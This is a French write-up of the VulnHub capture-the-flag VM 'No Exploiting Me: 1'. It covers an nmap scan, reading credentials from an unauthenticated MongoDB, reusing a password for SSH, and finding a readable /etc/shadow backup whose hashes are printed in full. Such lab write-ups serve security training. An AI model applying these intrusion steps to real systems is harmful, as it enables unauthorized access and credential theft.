Solution du CTF No Exploiting Me : 1
Rédigé par devloop - -
Présentation et mise en place
No Exploiting Me: 1 est un CTF créé par botnet_hunter, l'auteur de la série de challenges Bot Challenges téléchargeable sur VulnHub.Ce CTF ne fait pas partie de cette série, l'objectif est ici de s’entraîner à l’identification et l'exploitation de vulnérabilités dans les bases NoSQL, les scripts PHP et les systèmes Unix.
Le challenge a été plutôt simple à solutionner en revanche il a été plus compliqué de faire fonctionner la VM :(
L'auteur n'a pas du prendre en compte le fait que UDEV montre quelques réticences à monter une interface réseau pour une nouvelle adresse MAC or quand vous montez le VDI dans VirtualBox lors de la création d'une nouvelle VM vous changez forcément l'adresse MAC.
Pour mettre en place la VM j'ai du récupérer l'adresse MAC d'origine dans un fichier UDEV depuis l'image disque.
Pour cela j'ai suivi une procédure qui consiste à charger le module noyau nbd, utiliser qemu-nbd pour avoir les différentes partitions dans /dev/ et finalement monter le disque avec mount.
Mais rassurez-vous : dans mon immense générosité, je vous donne ici l'adresse MAC d'origine pour que vous n'ayez plus qu'à la mettre correctement dans les préférences de la VM : 08:00:27:ae:1f:6e.
Laisse gros ! (Let's go en lorrain)
En dehors des ports habituels on remarque un nouvel invité dans les services présents :Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-02 07:57 CEST Nmap scan report for 192.168.1.56 Host is up (0.00019s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0) | ssh-hostkey: | 1024 38:08:f7:c6:a2:57:94:c1:d8:8b:7e:a9:7f:84:42:8a (DSA) |_ 2048 07:90:a3:20:c6:b8:8a:cd:d0:05:06:4b:36:1b:9d:cc (RSA) 80/tcp open http Apache httpd 2.2.16 ((Debian)) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Login Page 27017/tcp open mongodb MongoDB 2.4.6 | mongodb-databases: | databases | 2 | empty = true | name = admin | sizeOnDisk = 1 | 0 | empty = false | name = NoExploitingMe | sizeOnDisk = 218103808 | 1 | empty = false | name = local | sizeOnDisk = 33554432 | totalSize = 251658240 |_ ok = 1 | mongodb-info: | MongoDB Build info | compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual ---snip--- -fno-builtin-memcmp -O3 | version = 2.4.6 | sysInfo = Linux bs-linux32.10gen.cc 2.6.21.7-2.fc8xen #1 SMP Fri Feb 15 12:39:36 EST 2008 i686 BOOST_LIB_VERSION=1_49 | gitVersion = b9925db5eac369d77a3a5f5d98a145eaaacd9673 | maxBsonObjectSize = 16777216 | ok = 1 | debug = false | bits = 32 | loaderFlags = -fPIC -pthread -rdynamic | javascriptEngine = V8 | versionArray | 2 = 6 | 3 = 0 | 0 = 2 | 1 = 4 | allocator = system | Server status | metrics | queryExecutor | scanned = 525 | record | moves = 0 | ttl | deletedDocuments = 0 | passes = 247 | operation | idhack = 0 | fastmod = 0 | scanAndOrder = 0 | getLastError | wtime | totalMillis = 0 | num = 0 | wtimeouts = 0 | document | updated = 0 | returned = 31 | inserted = 12 | deleted = 11 | repl | oplog | insertBytes = 0 | insert | totalMillis = 0 | num = 0 | preload | docs | totalMillis = 0 | num = 0 | indexes | totalMillis = 0 | num = 0 | buffer | maxSizeBytes = 268435456 | sizeBytes = 0 | count = 0 | apply | ops = 0 | batches | totalMillis = 0 | num = 0 | network | getmores | totalMillis = 0 | num = 0 | readersCreated = 0 | ops = 0 | bytes = 0 | uptimeEstimate = 14672 | pid = 808 | globalLock | lockTime = 51169 | activeClients | writers = 0 | readers = 0 | total = 0 | totalTime = 48976313000 | currentQueue | writers = 0 | readers = 0 | total = 0 | writeBacksQueued = false | ok = 1 | recordStats | admin | accessesNotInMemory = 0 | pageFaultExceptionsThrown = 0 | local | accessesNotInMemory = 0 | pageFaultExceptionsThrown = 0 | pageFaultExceptionsThrown = 0 | accessesNotInMemory = 0 | NoExploitingMe | accessesNotInMemory = 0 | pageFaultExceptionsThrown = 0 | opcountersRepl | insert = 0 | delete = 0 | update = 0 | command = 0 | getmore = 0 | query = 0 | uptime = 48976 | locks | . | timeLockedMicros | R = 203 | W = 51169 | timeAcquiringMicros | R = 22 | W = 18 | admin | timeLockedMicros | r = 39 | w = 0 | timeAcquiringMicros | r = 3 | w = 0 | NoExploitingMe | timeLockedMicros | r = 23849 | w = 61211 | timeAcquiringMicros | r = 682 | w = 30839 | local | timeLockedMicros | r = 17457 | w = 0 | timeAcquiringMicros | r = 1751 | w = 0 | localTime = 1404280716619 | network | bytesIn = 3857 | numRequests = 50 | bytesOut = 8212 | uptimeMillis = 48976313 | version = 2.4.6 | opcounters | insert = 12 | delete = 2 | update = 0 | command = 32 | getmore = 0 | query = 502 | mem | virtual = 360 | resident = 32 | supported = true | mapped = 240 | bits = 32 | host = NoExploitingMe | indexCounters | accesses = 22 | resets = 0 | hits = 22 | misses = 0 | missRatio = 0 | backgroundFlushing | total_ms = 5 | average_ms = 0.020242914979757 | last_ms = 0 | flushes = 247 | last_finished = 1404280705165 | extra_info | page_faults = 162 | heap_usage_bytes = 23550376 | note = fields vary by platform | cursors | timedOut = 0 | totalOpen = 0 | clientCursors_size = 0 | process = mongod | connections | available = 817 | current = 2 | totalCreated = 55 | asserts | rollovers = 0 | regular = 0 | user = 1 | warning = 1 |_ msg = 0 28017/tcp open http MongoDB http console |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: mongod NoExploitingMe MAC Address: 08:00:27:AE:1F:6E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.32 Network Distance: 1 hop Service Info: Host: NoExploitingMe; OS: Linux; CPE: cpe:/o:linux:linux_kernel
It's not a bug, it's a feature
MongoDB est un système de base de données NoSQL bien connu. Par contre il ne dispose pas d'un système d'authentification par conséquence si le service est exposé sur Internet tout le monde peut fouiller dans la base.Le projet Un1c0rn recense différents serveurs vulnérables à un accès MongoDB ouvert.
Pour se connecter on se sert du client officiel MongoDB. Notez que pour certaines plateformes on trouve des binaires précompilés.
On passe en argument l'adresse IP du serveur ainsi que le nom de la base (récupérée plus tôt par Nmap, la vie est bien faite) :
$ ./mongo 192.168.5.56/NoExploitingMe MongoDB shell version: 2.6.3 connecting to: 192.168.5.56/NoExploitingMe Welcome to the MongoDB shell. For interactive help, type "help". For more comprehensive documentation, see http://docs.mongodb.org/ Questions? Try the support group http://groups.google.com/group/mongodb-user Server has startup warnings: Tue Jul 1 08:05:04.297 [initandlisten] Tue Jul 1 08:05:04.297 [initandlisten] ** NOTE: This is a 32 bit MongoDB binary. Tue Jul 1 08:05:04.297 [initandlisten] ** 32 bit builds are limited to less than 2GB of data (or less with --journal). Tue Jul 1 08:05:04.297 [initandlisten] ** Note that journaling defaults to off for 32 bit and is currently off. Tue Jul 1 08:05:04.297 [initandlisten] ** See http://dochub.mongodb.org/core/32bit Tue Jul 1 08:05:04.297 [initandlisten] > help db.help() help on db methods db.mycoll.help() help on collection methods sh.help() sharding helpers rs.help() replica set helpers help admin administrative help help connect connecting to a db help help keys key shortcuts help misc misc things to know help mr mapreduce show dbs show database names show collections show collections in current database show users show users in current database show profile show most recent system.profile entries with time >= 1ms show logs show the accessible logger names show log [name] prints out the last segment of log in memory, 'global' is default use <db_name> set current database db.foo.find() list objects in collection foo db.foo.find( { a : 1 } ) list objects in foo where a == 1 it result of the last line evaluated; use to further iterate DBQuery.shellBatchSize = x set default number of items to display on shell exit quit the mongo shell > show collections hashes system.indexes users > db.hashes.find() { "_id" : ObjectId("53b2ce213d9f3b7ecb689e0c"), "hash" : "a9b7ba70783b617e9998dc4dd82eb3c5" } { "_id" : ObjectId("53b2ce213360db12c1cc98c4"), "hash" : "b8c37e33defde51cf91e1e03e51657da" } { "_id" : ObjectId("53b2ce21ab519d66c7e8c3fa"), "hash" : "fba9d88164f3e2d9109ee770223212a0" } { "_id" : ObjectId("53b2ce21a9b1a0d11763f3cb"), "hash" : "aa68c75c4a77c87f97fb686b2f068676" } { "_id" : ObjectId("53b2ce21e1f720407fee85d0"), "hash" : "fed33392d3a48aa149a87a38b875ba4a" } { "_id" : ObjectId("53b2ce21945ebf8f0a006cf6"), "hash" : "2387337ba1e0b0249ba90f55b2ba2521" } { "_id" : ObjectId("53b2ce219c83c438e69f11bd"), "hash" : "9246444d94f081e3549803b928260f56" } { "_id" : ObjectId("53b2ce21e840353b0712d206"), "hash" : "d7322ed717dedf1eb4e6e52a37ea7bcd" } { "_id" : ObjectId("53b2ce219dc693433f455c50"), "hash" : "1587965fb4d4b5afe8428a4a024feb0d" } { "_id" : ObjectId("53b2ce211092759e74e9c5a9"), "hash" : "31b3b31a1c2f8a370206f111127c0dbd" } > db.users.find() { "_id" : ObjectId("53b2ce21bfbccdd3debcdcba"), "user" : "badadmin", "password" : "yes, this password does get reused" }Dans la table hashes on trouve des hash MD5 vite cassés via les sites spécialisés : il s'agit des hashs des chiffres allant de 1009 à 1009.
Dans la table users on trouve un couple user/password qui nous permet de nous connecter sur le site web (port 80).
No feature !
Une fois connecté on se retrouve face à un formulaire qui permet de faire un lookup (on saisie un nom d'hôte et ça retourne l'adresse IP).Comme on peut s'y attendre ce script est vulnérable à une faille d'injection de commande shell.
Mais cette vulnérabilité n'a que peu d'intérêt car comme le laisse supposer le mot de passe récupéré plus tôt on peut se connecter en tant que badadmin via ssh... et ça passe.
badadmin@NoExploitingMe:~$ id uid=1000(badadmin) gid=1000(badadmin) groups=1000(badadmin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev) badadmin@NoExploitingMe:~$ uname -a Linux NoExploitingMe 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/LinuxA la racine du système de fichier on trouve un script genHashes.py dont le contenu est le suivant :
import hashlib import os for i in range(1000,1010): m = hashlib.md5() m.update(str(i)) query = "db.hashes.save({'hash': '" + m.hexdigest() + "'})" os.system("mongo localhost:27017/NoExploitingMe --eval \"print(" + query + ")\"")Ce script est appellé depuis rc.local :
mongo NoExploitingMe --eval "db.users.remove()" >> /dev/null mongo NoExploitingMe --eval "db.users.save({'user':'badadmin','password':'yes, this password does get reused'})" >> /dev/null mongo NoExploitingMe --eval "db.hashes.remove()" >> /dev/null python /genHashes.py >> /dev/null exit 0
Administrateur Labavure
Maintenant on cherche comment passer root et après recherche je n'ai trouvé que cette backup de /etc/shadow trop accessible dans /etc :-rw------- 1 badadmin root 783 Sep 1 2013 shadow.backupContenu :
root:$6$76E0ztyw$sgBZAekia9WO8k3bM2/xpPVkISpvmB7SDIzjmZHi0uN8wHfdUSfpgQ1AZpdtA6rRGZN7SYcHQujSHF3xwog030:15950:0:99999:7::: daemon:*:15949:0:99999:7::: bin:*:15949:0:99999:7::: sys:*:15949:0:99999:7::: sync:*:15949:0:99999:7::: games:*:15949:0:99999:7::: man:*:15949:0:99999:7::: lp:*:15949:0:99999:7::: mail:*:15949:0:99999:7::: news:*:15949:0:99999:7::: uucp:*:15949:0:99999:7::: proxy:*:15949:0:99999:7::: www-data:*:15949:0:99999:7::: backup:*:15949:0:99999:7::: list:*:15949:0:99999:7::: irc:*:15949:0:99999:7::: gnats:*:15949:0:99999:7::: nobody:*:15949:0:99999:7::: libuuid:!:15949:0:99999:7::: badadmin:$6$ShlSo9yK$iV8rDXanfKij2AlFTDHlk7O6thRUZsTSFHL7aHclHRgzOeuJoVtMeu3jAqzodilguinqnL6rFC2h7Q5ihU9.p/:15950:0:99999:7::: mongodb:*:15949:0:99999:7::: sshd:*:15950:0:99999:7:::Les hashs étant en sha512 c'est difficile de casser le mot de passe root. A raison de 400 tentatives la seconde on en a pour un moment.
Le mot de passe n'étant pas tombé avec la wordlist de RockYou j'ai préféré laisser tomber.